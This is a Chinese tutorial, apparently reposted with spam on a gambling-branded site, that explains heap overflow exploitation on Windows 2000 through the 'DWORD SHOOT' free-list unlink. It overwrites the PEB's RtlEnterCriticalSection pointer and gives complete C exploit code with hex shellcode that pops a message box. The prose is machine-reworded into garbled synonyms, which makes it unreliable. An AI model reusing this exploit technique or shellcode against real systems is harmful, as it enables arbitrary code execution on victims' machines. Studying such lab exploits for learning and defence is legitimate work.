应用DWORD SHOOT完成堆溢出的应用 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

应用DWORD SHOOT完成堆溢出的应用

申博_新闻事件 申博 208次浏览 已收录 0个评论

1.0 DWORD SHOOT是什么捏?

DWORD SHOOT指能够或许向内存恣意地位写入恣意数据,1个WORD=4个bytes,即能够经由过程实行顺序将4bytes的数据写入4bytes地点中,从而完成某种歹意操纵。
是否是还不清楚咩?
emmm,经由过程下面这个完全的堆溢出应用例子举行明白,这个例子经由过程修正PEB中的同步函数指针指向到达应用的目标。
PC:win2000
对象:vc6.0,ollydbg

1.1 PEB的线程同步函数与DWORD

在每一个历程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection()和 RtlLeaveCriticalSection(),并且在历程退出时会被 ExitProcess()挪用。若是经由过程DWORD SHOOT修正RtlEnterCriticalSection()或许RtlLeaveCriticalSection()(在 0x7FFDF024地点处)之一的指针指向Shellcode地点,那在历程退出时就会跳转到Shellcode地位并实行其内里的歹意代码。

1.2 堆分派道理

这儿是重点,背面应用的明白请求这一块要懂哈。
在一个堆区中,有许多堆块,能够运用堆表治理这些堆块。堆表有空表和单表两种,本文实践内容触及空表,以是解说它。
空表一共被分为128条,每条空表能够治理数块堆块。题目来了,那分为128条堆表的目标是什么?
目标是治理分歧巨细的堆块,以加速操纵系统的运转。
128条空表(余暇双向链表)标识为free[0]………..free[127]。个中,在free[n]中,余暇堆块的巨细为n8(byte)。但是free[0]破例,为啥呢?想想,总有比1278(byte)大的堆块吧,他们就被此堆表治理。
以是,刚开始建立堆块后,就只有一个伟大的余暇堆块,它被free[0]治理,后续请求堆块时会从free[0]中割取小空间的堆块,当这些小堆块被开释成为余暇小堆块后就会根据巨细顺次存入free[1]-free[127]。会不会有点小杂沓,杂沓点在于浩瀚巨细雷同堆块的治理。
强调一下空表(空缺双向链表)的观点。每一个空表实际上是双向链表状的,就是说每一个空表经由过程链表的构造治理巨细一致或许相似巨细的堆块们。如下图。
应用DWORD SHOOT完成堆溢出的应用

1.3 堆溢出道理

下图展现了一个堆表上堆块的前后向指针地位。
应用DWORD SHOOT完成堆溢出的应用
下图是一个堆表,内里有余暇堆快。
应用DWORD SHOOT完成堆溢出的应用
当请求此链表上的第二个堆块时,此堆块被掏出,链表构造会实行node->后向指针->前向指针=node->前向指针,如下图。
应用DWORD SHOOT完成堆溢出的应用
当启用DWORD SHOOT时,第二个堆块的后向指针会被改动指向一个地点,并且这个地点开首的前四个字节(前向指针占用4字节)即为Shellcode的首地点。如下图。
应用DWORD SHOOT完成堆溢出的应用

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

1.4 经由过程DWORD SHOOT修正RtlEnterCriticalSection ()

经查询得知,RtlEnterCriticalSection()的函数指针是0x7FFDF020,那思绪就是在堆中经由过程溢出的要领掩盖下一个待分派的余暇堆的前向指针和后向指针,个中,后向指针修正为0x7FFDF020,前向指针修正为Shellcode的地点。如许,根据1.1,历程退出实行ExitProcess()时会挪用0x7FFDF020处的RtlEnterCriticalSection()函数,连系1.3可知,此时0x7FFDF020处的四字节数据是Shellcode的地点,挪用0x7FFDF020天然会到Shellcode代码进口处实行Shellcode啦。

1.5 着手实践

代码:

#include <windows.h>

char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90"
//repaire the pointer which shooted by heap over run
"\xB8\x20\xF0\xFD\x7F"  //MOV EAX,7FFDF020
"\xBB\x60\x20\xF8\x77"  //MOV EBX,77F82060 此处地点需调试得出
"\x89\x18"                //MOV DWORD PTR DS:[EAX],EBX
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8\x90\x90\x90\x90\x90\x90\x90\x90"
"\x16\x01\x1A\x00\x00\x10\x00\x00"       
"\x30\x60\x40\x00\x20\xf0\xfd\x7f";//前四字节即为前向指针,指向Shellcode地点,此地点需调试得出;后四字节为后向指针,在此操纵系统中流动稳定

main()
{
    HLOCAL h1 = 0, h2 = 0;
    HANDLE hp;
    hp = HeapCreate(0,0x1000,0x10000);
    h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,200);
    __asm int 3 //中缀历程,调试态堆治理战略会转变堆块的原生构造,以是加上此代码,如许分派完堆会运用调试器检察历程,就会制止顺序检测运用调试堆治理战略,会看到原生的堆构造。
    memcpy(h1,shellcode,0x200); //overflow,0x200=512
    h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,8);
    return 0;
}

此代码实行后致使的溢出是:建立堆,请求堆块h1,巨细200单位,将巨细为0x200的Shellcode复制至h1。注重,这个时刻已请求堆块背面紧挨着余暇堆块,其前向指针和后向指针均会被Shellcode奇妙地掩盖。当今后余暇堆块请求8字节空间时,后向指针被改动指向的原RtlEnterCriticalSection()地点会存储Shellcode的地点,DWORD SHOOT终了。而堆溢出致使非常,历程退出时跳转到0x7FFDF020指向的地点,此地点由原 RtlEnterCriticalSection() 变成Shellcode进口地点,故实行了歹意代码。

实践方面,将vc6.0的调试选项设置为ollydbg。
编译实行后,中缀,ollydbg调试器接受历程。地点0x360680就是一切堆块的肇端地位,已分派堆块在前,故前面的208字节是h1堆块(实在每一个堆块有8字节的头部,但在堆块数据存取的操纵中是通明的,以是对它不做穷究),如下图。
应用DWORD SHOOT完成堆溢出的应用
单步实行顺序,当实行完REP…时,就完成了Shellcode的溢出赋值操纵。如下图。
应用DWORD SHOOT完成堆溢出的应用
剖析前面的参数赋值和压栈操纵,可知Shellcode进口地点为0x00406030,此时复现的同道若是发明数值不是这个就源代码Shellcode对应地位赋此值。如下图。
应用DWORD SHOOT完成堆溢出的应用
后向指针指向的就是RtlEnterCriticalSection()的函数指针0x7FFDF020,为了防备堆溢出非常实行后Shellcode自身代码挪用毛病的此函数,须要在Shellcode代码中从新对此函数指针赋值,赋为准确的函数进口地点,故此处须要检察准确的进口地点。在内存中查找0x7FFDF020存储的地点,发明是0x77F82060,用它更新源代码中Shellcode的前部代码。如下图。
应用DWORD SHOOT完成堆溢出的应用
至此,人人都有一个适用于本身电脑的Shellcode啦,此Shellcode的功用就是当发生堆溢出时会弹框。
解释掉__asm int 3,实行代码,哈哈,胜利溢出。如下图。
应用DWORD SHOOT完成堆溢出的应用


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明应用DWORD SHOOT完成堆溢出的应用
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址